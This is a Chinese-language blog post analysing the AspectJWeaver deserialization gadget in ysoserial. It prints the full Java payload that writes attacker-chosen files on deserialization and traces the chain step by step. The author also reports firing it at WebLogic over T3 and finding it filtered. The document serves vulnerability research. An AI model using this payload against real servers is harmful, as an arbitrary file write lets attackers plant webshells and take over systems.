昨天在挖weblogic漏洞时发现ysoserial更新了一个新的gadget AspectJWeaver,今天分析一下。
先看下yso给出的payload
package ysoserial.payloads; import org.apache.commons.codec.binary.Base64; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() Usage: args = "<filename>;<base64 content>" Example: java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" More information: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 */ @PayloadTest(skip="non RCE") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({ Authors.JANG }) public class AspectJWeaver implements ObjectPayload<Serializable> { public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main(String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(AspectJWeaver.class, args); } }
先看堆栈后半段
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
writeToPath中key和value分别是文件名和内容。
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
中调用了writeToPath。
现在如果反序列化时可以触发put方法,就可以自动写入文件。
再通过正向思维看前半段,我们的目的是寻找put方法调用。
在HashSet类的readObject中
进行了map.put,跟进
跟进hash()
这里自动调用了key.hashCode()即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
hashCode()自动调用了getValue()
getValue()又调用自身map字段的get方法。自身map字段为Map类型,而在org.apache.commons.collections.map.LazyMap#get
中进行了put方法,接上了我们后半段的put方法。
到此整条链就结束了,算是比较简单的一条gadget。
这条链我通过T3打过去,发现weblogic已经过滤了org.apache.commons.collections.functors
包名,相信不久就会出现新的绕过。